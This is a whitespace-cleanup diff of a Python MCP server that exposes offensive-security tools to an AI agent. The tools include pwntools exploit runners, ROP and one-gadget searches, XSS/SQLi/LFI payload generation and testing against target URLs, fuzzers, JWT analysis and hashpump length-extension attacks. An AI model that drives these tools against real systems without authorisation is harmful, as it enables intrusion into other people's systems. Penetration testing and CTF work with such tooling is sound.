def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def checksec_analyze(binary: str) -> Dict[str, Any]: """ Check security features of a binary with enhanced logging. - + Args: binary: Path to the binary file - + Returns: Security features analysis results """ @@ -1928,13 +1928,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def xxd_hexdump(file_path: str, offset: str = "0", length: str = "", additional_args: str = "") -> Dict[str, Any]: """ Create a hex dump of a file using xxd with enhanced logging. - + Args: file_path: Path to the file offset: Offset to start reading from length: Number of bytes to read additional_args: Additional xxd arguments - + Returns: Hex dump results """ @@ -1956,12 +1956,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def strings_extract(file_path: str, min_len: int = 4, additional_args: str = "") -> Dict[str, Any]: """ Extract strings from a binary file with enhanced logging. - + Args: file_path: Path to the file min_len: Minimum string length additional_args: Additional strings arguments - + Returns: String extraction results """ @@ -1982,12 +1982,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def objdump_analyze(binary: str, disassemble: bool = True, additional_args: str = "") -> Dict[str, Any]: """ Analyze a binary using objdump with enhanced logging. - + Args: binary: Path to the binary file disassemble: Whether to disassemble the binary additional_args: Additional objdump arguments - + Returns: Binary analysis results """ @@ -2009,12 +2009,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: # ============================================================================ @mcp.tool() - def ghidra_analysis(binary: str, project_name: str = "hexstrike_analysis", - script_file: str = "", analysis_timeout: int = 300, + def ghidra_analysis(binary: str, project_name: str = "hexstrike_analysis", + script_file: str = "", analysis_timeout: int = 300, output_format: str = "xml", additional_args: str = "") -> Dict[str, Any]: """ Execute Ghidra for advanced binary analysis and reverse engineering. - + Args: binary: Path to the binary file project_name: Ghidra project name @@ -2022,7 +2022,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: analysis_timeout: Analysis timeout in seconds output_format: Output format (xml, json) additional_args: Additional Ghidra arguments - + Returns: Advanced binary analysis results from Ghidra """ @@ -2043,12 +2043,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def pwntools_exploit(script_content: str = "", target_binary: str = "", - target_host: str = "", target_port: int = 0, + def pwntools_exploit(script_content: str = "", target_binary: str = "", + target_host: str = "", target_port: int = 0, exploit_type: str = "local", additional_args: str = "") -> Dict[str, Any]: """ Execute Pwntools for exploit development and automation. - + Args: script_content: Python script content using pwntools target_binary: Local binary to exploit @@ -2056,7 +2056,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: target_port: Remote port to connect to exploit_type: Type of exploit (local, remote, format_string, rop) additional_args: Additional arguments - + Returns: Exploit execution results """ @@ -2080,12 +2080,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def one_gadget_search(libc_path: str, level: int = 1, additional_args: str = "") -> Dict[str, Any]: """ Execute one_gadget to find one-shot RCE gadgets in libc. - + Args: libc_path: Path to libc binary level: Constraint level (0, 1, 2) additional_args: Additional one_gadget arguments - + Returns: One-shot RCE gadget search results """ @@ -2103,17 +2103,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def libc_database_lookup(action: str = "find", symbols: str = "", + def libc_database_lookup(action: str = "find", symbols: str = "", libc_id: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute libc-database for libc identification and offset lookup. - + Args: action: Action to perform (find, dump, download) symbols: Symbols with offsets for find action (format: "symbol1:offset1 symbol2:offset2") libc_id: Libc ID for dump/download actions additional_args: Additional arguments - + Returns: Libc database lookup results """ @@ -2132,18 +2132,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def gdb_peda_debug(binary: str = "", commands: str = "", attach_pid: int = 0, + def gdb_peda_debug(binary: str = "", commands: str = "", attach_pid: int = 0, core_file: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute GDB with PEDA for enhanced debugging and exploitation. - + Args: binary: Binary to debug commands: GDB commands to execute attach_pid: Process ID to attach to core_file: Core dump file to analyze additional_args: Additional GDB arguments - + Returns: Enhanced debugging results with PEDA """ @@ -2163,12 +2163,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def angr_symbolic_execution(binary: str, script_content: str = "", - find_address: str = "", avoid_addresses: str = "", + def angr_symbolic_execution(binary: str, script_content: str = "", + find_address: str = "", avoid_addresses: str = "", analysis_type: str = "symbolic", additional_args: str = "") -> Dict[str, Any]: """ Execute angr for symbolic execution and binary analysis. - + Args: binary: Binary to analyze script_content: Custom angr script content @@ -2176,7 +2176,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: avoid_addresses: Comma-separated addresses to avoid analysis_type: Type of analysis (symbolic, cfg, static) additional_args: Additional arguments - + Returns: Symbolic execution and binary analysis results """ @@ -2197,12 +2197,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def ropper_gadget_search(binary: str, gadget_type: str = "rop", quality: int = 1, - arch: str = "", search_string: str = "", + def ropper_gadget_search(binary: str, gadget_type: str = "rop", quality: int = 1, + arch: str = "", search_string: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute ropper for advanced ROP/JOP gadget searching. - + Args: binary: Binary to search for gadgets gadget_type: Type of gadgets (rop, jop, sys, all) @@ -2210,7 +2210,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: arch: Target architecture (x86, x86_64, arm, etc.) search_string: Specific gadget pattern to search for additional_args: Additional ropper arguments - + Returns: Advanced ROP/JOP gadget search results """ @@ -2231,18 +2231,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def pwninit_setup(binary: str, libc: str = "", ld: str = "", + def pwninit_setup(binary: str, libc: str = "", ld: str = "", template_type: str = "python", additional_args: str = "") -> Dict[str, Any]: """ Execute pwninit for CTF binary exploitation setup. - + Args: binary: Binary file to set up libc: Libc file to use ld: Loader file to use template_type: Template type (python, c) additional_args: Additional pwninit arguments - + Returns: CTF binary exploitation setup results """ @@ -2265,13 +2265,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def feroxbuster_scan(url: str, wordlist: str = "/usr/share/wordlists/dirb/common.txt", threads: int = 10, additional_args: str = "") -> Dict[str, Any]: """ Execute Feroxbuster for recursive content discovery with enhanced logging. - + Args: url: The target URL wordlist: Wordlist file to use threads: Number of threads additional_args: Additional Feroxbuster arguments - + Returns: Content discovery results """ @@ -2293,12 +2293,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def dotdotpwn_scan(target: str, module: str = "http", additional_args: str = "") -> Dict[str, Any]: """ Execute DotDotPwn for directory traversal testing with enhanced logging. - + Args: target: The target hostname or IP module: Module to use (http, ftp, tftp, etc.) additional_args: Additional DotDotPwn arguments - + Returns: Directory traversal test results """ @@ -2319,12 +2319,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def xsser_scan(url: str, params: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute XSSer for XSS vulnerability testing with enhanced logging. - + Args: url: The target URL params: Parameters to test additional_args: Additional XSSer arguments - + Returns: XSS vulnerability test results """ @@ -2345,12 +2345,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def wfuzz_scan(url: str, wordlist: str = "/usr/share/wordlists/dirb/common.txt", additional_args: str = "") -> Dict[str, Any]: """ Execute Wfuzz for web application fuzzing with enhanced logging. - + Args: url: The target URL (use FUZZ where you want to inject payloads) wordlist: Wordlist file to use additional_args: Additional Wfuzz arguments - + Returns: Web application fuzzing results """ @@ -2372,12 +2372,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: # ============================================================================ @mcp.tool() - def dirsearch_scan(url: str, extensions: str = "php,html,js,txt,xml,json", - wordlist: str = "/usr/share/wordlists/dirsearch/common.txt", + def dirsearch_scan(url: str, extensions: str = "php,html,js,txt,xml,json", + wordlist: str = "/usr/share/wordlists/dirsearch/common.txt", threads: int = 30, recursive: bool = False, additional_args: str = "") -> Dict[str, Any]: """ Execute Dirsearch for advanced directory and file discovery with enhanced logging. - + Args: url: The target URL extensions: File extensions to search for @@ -2385,7 +2385,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: threads: Number of threads to use recursive: Enable recursive scanning additional_args: Additional Dirsearch arguments - + Returns: Advanced directory discovery results """ @@ -2406,12 +2406,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def katana_crawl(url: str, depth: int = 3, js_crawl: bool = True, - form_extraction: bool = True, output_format: str = "json", + def katana_crawl(url: str, depth: int = 3, js_crawl: bool = True, + form_extraction: bool = True, output_format: str = "json", additional_args: str = "") -> Dict[str, Any]: """ Execute Katana for next-generation crawling and spidering with enhanced logging. - + Args: url: The target URL to crawl depth: Crawling depth @@ -2419,7 +2419,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: form_extraction: Enable form extraction output_format: Output format (json, txt) additional_args: Additional Katana arguments - + Returns: Advanced web crawling results with endpoints and forms """ @@ -2440,19 +2440,19 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def gau_discovery(domain: str, providers: str = "wayback,commoncrawl,otx,urlscan", - include_subs: bool = True, blacklist: str = "png,jpg,gif,jpeg,swf,woff,svg,pdf,css,ico", + def gau_discovery(domain: str, providers: str = "wayback,commoncrawl,otx,urlscan", + include_subs: bool = True, blacklist: str = "png,jpg,gif,jpeg,swf,woff,svg,pdf,css,ico", additional_args: str = "") -> Dict[str, Any]: """ Execute Gau (Get All URLs) for URL discovery from multiple sources with enhanced logging. - + Args: domain: The target domain providers: Data providers to use include_subs: Include subdomains blacklist: File extensions to blacklist additional_args: Additional Gau arguments - + Returns: Comprehensive URL discovery results from multiple sources """ @@ -2472,17 +2472,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def waybackurls_discovery(domain: str, get_versions: bool = False, + def waybackurls_discovery(domain: str, get_versions: bool = False, no_subs: bool = False, additional_args: str = "") -> Dict[str, Any]: """ Execute Waybackurls for historical URL discovery with enhanced logging. - + Args: domain: The target domain get_versions: Get all versions of URLs no_subs: Don't include subdomains additional_args: Additional Waybackurls arguments - + Returns: Historical URL discovery results from Wayback Machine """ @@ -2501,12 +2501,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def arjun_parameter_discovery(url: str, method: str = "GET", wordlist: str = "", - delay: int = 0, threads: int = 25, stable: bool = False, + def arjun_parameter_discovery(url: str, method: str = "GET", wordlist: str = "", + delay: int = 0, threads: int = 25, stable: bool = False, additional_args: str = "") -> Dict[str, Any]: """ Execute Arjun for HTTP parameter discovery with enhanced logging. - + Args: url: The target URL method: HTTP method to use @@ -2515,7 +2515,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: threads: Number of threads stable: Use stable mode additional_args: Additional Arjun arguments - + Returns: HTTP parameter discovery results """ @@ -2537,19 +2537,19 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def paramspider_mining(domain: str, level: int = 2, - exclude: str = "png,jpg,gif,jpeg,swf,woff,svg,pdf,css,ico", + def paramspider_mining(domain: str, level: int = 2, + exclude: str = "png,jpg,gif,jpeg,swf,woff,svg,pdf,css,ico", output: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute ParamSpider for parameter mining from web archives with enhanced logging. - + Args: domain: The target domain level: Mining level depth exclude: File extensions to exclude output: Output file path additional_args: Additional ParamSpider arguments - + Returns: Parameter mining results from web archives """ @@ -2569,12 +2569,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def x8_parameter_discovery(url: str, wordlist: str = "/usr/share/wordlists/x8/params.txt", - method: str = "GET", body: str = "", headers: str = "", + def x8_parameter_discovery(url: str, wordlist: str = "/usr/share/wordlists/x8/params.txt", + method: str = "GET", body: str = "", headers: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute x8 for hidden parameter discovery with enhanced logging. - + Args: url: The target URL wordlist: Parameter wordlist @@ -2582,7 +2582,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: body: Request body headers: Custom headers additional_args: Additional x8 arguments - + Returns: Hidden parameter discovery results """ @@ -2603,12 +2603,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def jaeles_vulnerability_scan(url: str, signatures: str = "", config: str = "", - threads: int = 20, timeout: int = 20, + def jaeles_vulnerability_scan(url: str, signatures: str = "", config: str = "", + threads: int = 20, timeout: int = 20, additional_args: str = "") -> Dict[str, Any]: """ Execute Jaeles for advanced vulnerability scanning with custom signatures. - + Args: url: The target URL signatures: Custom signature path @@ -2616,7 +2616,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: threads: Number of threads timeout: Request timeout additional_args: Additional Jaeles arguments - + Returns: Advanced vulnerability scanning results with custom signatures """ @@ -2637,12 +2637,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def dalfox_xss_scan(url: str, pipe_mode: bool = False, blind: bool = False, - mining_dom: bool = True, mining_dict: bool = True, + def dalfox_xss_scan(url: str, pipe_mode: bool = False, blind: bool = False, + mining_dom: bool = True, mining_dict: bool = True, custom_payload: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute Dalfox for advanced XSS vulnerability scanning with enhanced logging. - + Args: url: The target URL pipe_mode: Use pipe mode for input @@ -2651,7 +2651,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: mining_dict: Enable dictionary mining custom_payload: Custom XSS payload additional_args: Additional Dalfox arguments - + Returns: Advanced XSS vulnerability scanning results """ @@ -2673,13 +2673,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def httpx_probe(target: str, probe: bool = True, tech_detect: bool = False, - status_code: bool = False, content_length: bool = False, - title: bool = False, web_server: bool = False, threads: int = 50, + def httpx_probe(target: str, probe: bool = True, tech_detect: bool = False, + status_code: bool = False, content_length: bool = False, + title: bool = False, web_server: bool = False, threads: int = 50, additional_args: str = "") -> Dict[str, Any]: """ Execute httpx for fast HTTP probing and technology detection. - + Args: target: Target file or single URL probe: Enable probing @@ -2690,7 +2690,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: web_server: Show web server threads: Number of threads additional_args: Additional httpx arguments - + Returns: Fast HTTP probing results with technology detection """ @@ -2714,16 +2714,16 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def anew_data_processing(input_data: str, output_file: str = "", + def anew_data_processing(input_data: str, output_file: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute anew for appending new lines to files (useful for data processing). - + Args: input_data: Input data to process output_file: Output file path additional_args: Additional anew arguments - + Returns: Data processing results with unique line filtering """ @@ -2741,16 +2741,16 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def qsreplace_parameter_replacement(urls: str, replacement: str = "FUZZ", + def qsreplace_parameter_replacement(urls: str, replacement: str = "FUZZ", additional_args: str = "") -> Dict[str, Any]: """ Execute qsreplace for query string parameter replacement. - + Args: urls: URLs to process replacement: Replacement string for parameters additional_args: Additional qsreplace arguments - + Returns: Parameter replacement results for fuzzing """ @@ -2768,17 +2768,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def uro_url_filtering(urls: str, whitelist: str = "", blacklist: str = "", + def uro_url_filtering(urls: str, whitelist: str = "", blacklist: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute uro for filtering out similar URLs. - + Args: urls: URLs to filter whitelist: Whitelist patterns blacklist: Blacklist patterns additional_args: Additional uro arguments - + Returns: Filtered URL results with duplicates removed """ @@ -2804,13 +2804,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def ai_generate_payload(attack_type: str, complexity: str = "basic", technology: str = "", url: str = "") -> Dict[str, Any]: """ Generate AI-powered contextual payloads for security testing. - + Args: attack_type: Type of attack (xss, sqli, lfi, cmd_injection, ssti, xxe) complexity: Complexity level (basic, advanced, bypass) technology: Target technology (php, asp, jsp, python, nodejs) url: Target URL for context - + Returns: Contextual payloads with risk assessment and test cases """ @@ -2822,12 +2822,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: } logger.info(f"๐Ÿค– Generating AI payloads for {attack_type} attack") result = hexstrike_client.safe_post("api/ai/generate_payload", data) - + if result.get("success"): payload_data = result.get("ai_payload_generation", {}) count = payload_data.get("payload_count", 0) logger.info(f"โœ… Generated {count} contextual {attack_type} payloads") - + # Log some example payloads for user awareness payloads = payload_data.get("payloads", []) if payloads: @@ -2838,19 +2838,19 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: logger.info(f" โ”œโ”€ [{risk}] {context}: {payload_info['payload'][:50]}...") else: logger.error("โŒ AI payload generation failed") - + return result @mcp.tool() def ai_test_payload(payload: str, target_url: str, method: str = "GET") -> Dict[str, Any]: """ Test generated payload against target with AI analysis. - + Args: payload: The payload to test target_url: Target URL to test against method: HTTP method (GET, POST) - + Returns: Test results with AI analysis and vulnerability assessment """ @@ -2861,30 +2861,30 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: } logger.info(f"๐Ÿงช Testing AI payload against {target_url}") result = hexstrike_client.safe_post("api/ai/test_payload", data) - + if result.get("success"): analysis = result.get("ai_analysis", {}) potential_vuln = analysis.get("potential_vulnerability", False) logger.info(f"๐Ÿ” Payload test completed | Vulnerability detected: {potential_vuln}") - + if potential_vuln: logger.warning("โš ๏ธ Potential vulnerability found! Review the response carefully.") else: logger.info("โœ… No obvious vulnerability indicators detected") else: logger.error("โŒ Payload testing failed") - + return result @mcp.tool() def ai_generate_attack_suite(target_url: str, attack_types: str = "xss,sqli,lfi") -> Dict[str, Any]: """ Generate comprehensive attack suite with multiple payload types. - + Args: target_url: Target URL for testing attack_types: Comma-separated list of attack types - + Returns: Comprehensive attack suite with multiple payload types """ @@ -2899,34 +2899,34 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "test_cases": 0 } } - + logger.info(f"๐Ÿš€ Generating comprehensive attack suite for {target_url}") logger.info(f"๐ŸŽฏ Attack types: {', '.join(attack_list)}") - + for attack_type in attack_list: logger.info(f"๐Ÿค– Generating {attack_type} payloads...") - + # Generate payloads for this attack type payload_result = self.ai_generate_payload(attack_type, "advanced", "", target_url) - + if payload_result.get("success"): payload_data = payload_result.get("ai_payload_generation", {}) results["payload_suites"][attack_type] = payload_data - + # Update summary results["summary"]["total_payloads"] += payload_data.get("payload_count", 0) results["summary"]["test_cases"] += len(payload_data.get("test_cases", [])) - + # Count high-risk payloads for payload_info in payload_data.get("payloads", []): if payload_info.get("risk_level") == "HIGH": results["summary"]["high_risk_payloads"] += 1 - + logger.info(f"โœ… Attack suite generated:") logger.info(f" โ”œโ”€ Total payloads: {results['summary']['total_payloads']}") logger.info(f" โ”œโ”€ High-risk payloads: {results['summary']['high_risk_payloads']}") logger.info(f" โ””โ”€ Test cases: {results['summary']['test_cases']}") - + return { "success": True, "attack_suite": results, @@ -2941,13 +2941,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def api_fuzzer(base_url: str, endpoints: str = "", methods: str = "GET,POST,PUT,DELETE", wordlist: str = "/usr/share/wordlists/api/api-endpoints.txt") -> Dict[str, Any]: """ Advanced API endpoint fuzzing with intelligent parameter discovery. - + Args: base_url: Base URL of the API endpoints: Comma-separated list of specific endpoints to test methods: HTTP methods to test (comma-separated) wordlist: Wordlist for endpoint discovery - + Returns: API fuzzing results with endpoint discovery and vulnerability assessment """ @@ -2957,10 +2957,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "methods": [m.strip() for m in methods.split(",")], "wordlist": wordlist } - + logger.info(f"๐Ÿ” Starting API fuzzing: {base_url}") result = hexstrike_client.safe_post("api/tools/api_fuzzer", data) - + if result.get("success"): fuzzing_type = result.get("fuzzing_type", "unknown") if fuzzing_type == "endpoint_testing": @@ -2970,20 +2970,20 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: logger.info(f"โœ… API endpoint discovery completed") else: logger.error("โŒ API fuzzing failed") - + return result @mcp.tool() def graphql_scanner(endpoint: str, introspection: bool = True, query_depth: int = 10, test_mutations: bool = True) -> Dict[str, Any]: """ Advanced GraphQL security scanning and introspection. - + Args: endpoint: GraphQL endpoint URL introspection: Test introspection queries query_depth: Maximum query depth to test test_mutations: Test mutation operations - + Returns: GraphQL security scan results with vulnerability assessment """ @@ -2993,17 +2993,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "query_depth": query_depth, "test_mutations": test_mutations } - + logger.info(f"๐Ÿ” Starting GraphQL security scan: {endpoint}") result = hexstrike_client.safe_post("api/tools/graphql_scanner", data) - + if result.get("success"): scan_results = result.get("graphql_scan_results", {}) vuln_count = len(scan_results.get("vulnerabilities", [])) tests_count = len(scan_results.get("tests_performed", [])) - + logger.info(f"โœ… GraphQL scan completed: {tests_count} tests, {vuln_count} vulnerabilities") - + if vuln_count > 0: logger.warning(f"โš ๏ธ Found {vuln_count} GraphQL vulnerabilities!") for vuln in scan_results.get("vulnerabilities", [])[:3]: # Show first 3 @@ -3012,18 +3012,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: logger.warning(f" โ”œโ”€ [{severity}] {vuln_type}") else: logger.error("โŒ GraphQL scanning failed") - + return result @mcp.tool() def jwt_analyzer(jwt_token: str, target_url: str = "") -> Dict[str, Any]: """ Advanced JWT token analysis and vulnerability testing. - + Args: jwt_token: JWT token to analyze target_url: Optional target URL for testing token manipulation - + Returns: JWT analysis results with vulnerability assessment and attack vectors """ @@ -3031,18 +3031,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "jwt_token": jwt_token, "target_url": target_url } - + logger.info(f"๐Ÿ” Starting JWT security analysis") result = hexstrike_client.safe_post("api/tools/jwt_analyzer", data) - + if result.get("success"): analysis = result.get("jwt_analysis_results", {}) vuln_count = len(analysis.get("vulnerabilities", [])) algorithm = analysis.get("token_info", {}).get("algorithm", "unknown") - + logger.info(f"โœ… JWT analysis completed: {vuln_count} vulnerabilities found") logger.info(f"๐Ÿ” Token algorithm: {algorithm}") - + if vuln_count > 0: logger.warning(f"โš ๏ธ Found {vuln_count} JWT vulnerabilities!") for vuln in analysis.get("vulnerabilities", [])[:3]: # Show first 3 @@ -3051,18 +3051,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: logger.warning(f" โ”œโ”€ [{severity}] {vuln_type}") else: logger.error("โŒ JWT analysis failed") - + return result @mcp.tool() def api_schema_analyzer(schema_url: str, schema_type: str = "openapi") -> Dict[str, Any]: """ Analyze API schemas and identify potential security issues. - + Args: schema_url: URL to the API schema (OpenAPI/Swagger/GraphQL) schema_type: Type of schema (openapi, swagger, graphql) - + Returns: Schema analysis results with security issues and recommendations """ @@ -3070,24 +3070,24 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "schema_url": schema_url, "schema_type": schema_type } - + logger.info(f"๐Ÿ” Starting API schema analysis: {schema_url}") result = hexstrike_client.safe_post("api/tools/api_schema_analyzer", data) - + if result.get("success"): analysis = result.get("schema_analysis_results", {}) endpoint_count = len(analysis.get("endpoints_found", [])) issue_count = len(analysis.get("security_issues", [])) - + logger.info(f"โœ… Schema analysis completed: {endpoint_count} endpoints, {issue_count} issues") - + if issue_count > 0: logger.warning(f"โš ๏ธ Found {issue_count} security issues in schema!") for issue in analysis.get("security_issues", [])[:3]: # Show first 3 severity = issue.get("severity", "UNKNOWN") issue_type = issue.get("issue", "unknown") logger.warning(f" โ”œโ”€ [{severity}] {issue_type}") - + if endpoint_count > 0: logger.info(f"๐Ÿ“Š Discovered endpoints:") for endpoint in analysis.get("endpoints_found", [])[:5]: # Show first 5 @@ -3096,20 +3096,20 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: logger.info(f" โ”œโ”€ {method} {path}") else: logger.error("โŒ Schema analysis failed") - + return result @mcp.tool() def comprehensive_api_audit(base_url: str, schema_url: str = "", jwt_token: str = "", graphql_endpoint: str = "") -> Dict[str, Any]: """ Comprehensive API security audit combining multiple testing techniques. - + Args: base_url: Base URL of the API schema_url: Optional API schema URL jwt_token: Optional JWT token for analysis graphql_endpoint: Optional GraphQL endpoint - + Returns: Comprehensive audit results with all API security tests """ @@ -3121,16 +3121,16 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "summary": {}, "recommendations": [] } - + logger.info(f"๐Ÿš€ Starting comprehensive API security audit: {base_url}") - + # 1. API Endpoint Fuzzing logger.info("๐Ÿ” Phase 1: API endpoint discovery and fuzzing") fuzz_result = self.api_fuzzer(base_url) if fuzz_result.get("success"): audit_results["tests_performed"].append("api_fuzzing") audit_results["api_fuzzing"] = fuzz_result - + # 2. Schema Analysis (if provided) if schema_url: logger.info("๐Ÿ” Phase 2: API schema analysis") @@ -3138,10 +3138,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: if schema_result.get("success"): audit_results["tests_performed"].append("schema_analysis") audit_results["schema_analysis"] = schema_result - + schema_data = schema_result.get("schema_analysis_results", {}) audit_results["total_vulnerabilities"] += len(schema_data.get("security_issues", [])) - + # 3. JWT Analysis (if provided) if jwt_token: logger.info("๐Ÿ” Phase 3: JWT token analysis") @@ -3149,10 +3149,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: if jwt_result.get("success"): audit_results["tests_performed"].append("jwt_analysis") audit_results["jwt_analysis"] = jwt_result - + jwt_data = jwt_result.get("jwt_analysis_results", {}) audit_results["total_vulnerabilities"] += len(jwt_data.get("vulnerabilities", [])) - + # 4. GraphQL Testing (if provided) if graphql_endpoint: logger.info("๐Ÿ” Phase 4: GraphQL security scanning") @@ -3160,10 +3160,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: if graphql_result.get("success"): audit_results["tests_performed"].append("graphql_scanning") audit_results["graphql_scanning"] = graphql_result - + graphql_data = graphql_result.get("graphql_scan_results", {}) audit_results["total_vulnerabilities"] += len(graphql_data.get("vulnerabilities", [])) - + # Generate comprehensive recommendations audit_results["recommendations"] = [ "Implement proper authentication and authorization", @@ -3175,19 +3175,19 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "Keep API documentation updated and secure", "Implement proper error handling" ] - + # Summary audit_results["summary"] = { "tests_performed": len(audit_results["tests_performed"]), "total_vulnerabilities": audit_results["total_vulnerabilities"], "audit_coverage": "comprehensive" if len(audit_results["tests_performed"]) >= 3 else "partial" } - + logger.info(f"โœ… Comprehensive API audit completed:") logger.info(f" โ”œโ”€ Tests performed: {audit_results['summary']['tests_performed']}") logger.info(f" โ”œโ”€ Total vulnerabilities: {audit_results['summary']['total_vulnerabilities']}") logger.info(f" โ””โ”€ Coverage: {audit_results['summary']['audit_coverage']}") - + return { "success": True, "comprehensive_audit": audit_results @@ -3201,13 +3201,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def volatility3_analyze(memory_file: str, plugin: str, output_file: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute Volatility3 for advanced memory forensics with enhanced logging. - + Args: memory_file: Path to memory dump file plugin: Volatility3 plugin to execute output_file: Output file path additional_args: Additional Volatility3 arguments - + Returns: Advanced memory forensics results """ @@ -3229,13 +3229,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def foremost_carving(input_file: str, output_dir: str = "/tmp/foremost_output", file_types: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute Foremost for file carving with enhanced logging. - + Args: input_file: Input file or device to carve output_dir: Output directory for carved files file_types: File types to carve (jpg,gif,png,etc.) additional_args: Additional Foremost arguments - + Returns: File carving results """ @@ -3257,7 +3257,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def steghide_analysis(action: str, cover_file: str, embed_file: str = "", passphrase: str = "", output_file: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute Steghide for steganography analysis with enhanced logging. - + Args: action: Action to perform (extract, embed, info) cover_file: Cover file for steganography @@ -3265,7 +3265,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: passphrase: Passphrase for steganography output_file: Output file path additional_args: Additional Steghide arguments - + Returns: Steganography analysis results """ @@ -3289,13 +3289,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def exiftool_extract(file_path: str, output_format: str = "", tags: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute ExifTool for metadata extraction with enhanced logging. - + Args: file_path: Path to file for metadata extraction output_format: Output format (json, xml, csv) tags: Specific tags to extract additional_args: Additional ExifTool arguments - + Returns: Metadata extraction results """ @@ -3317,14 +3317,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def hashpump_attack(signature: str, data: str, key_length: str, append_data: str, additional_args: str = "") -> Dict[str, 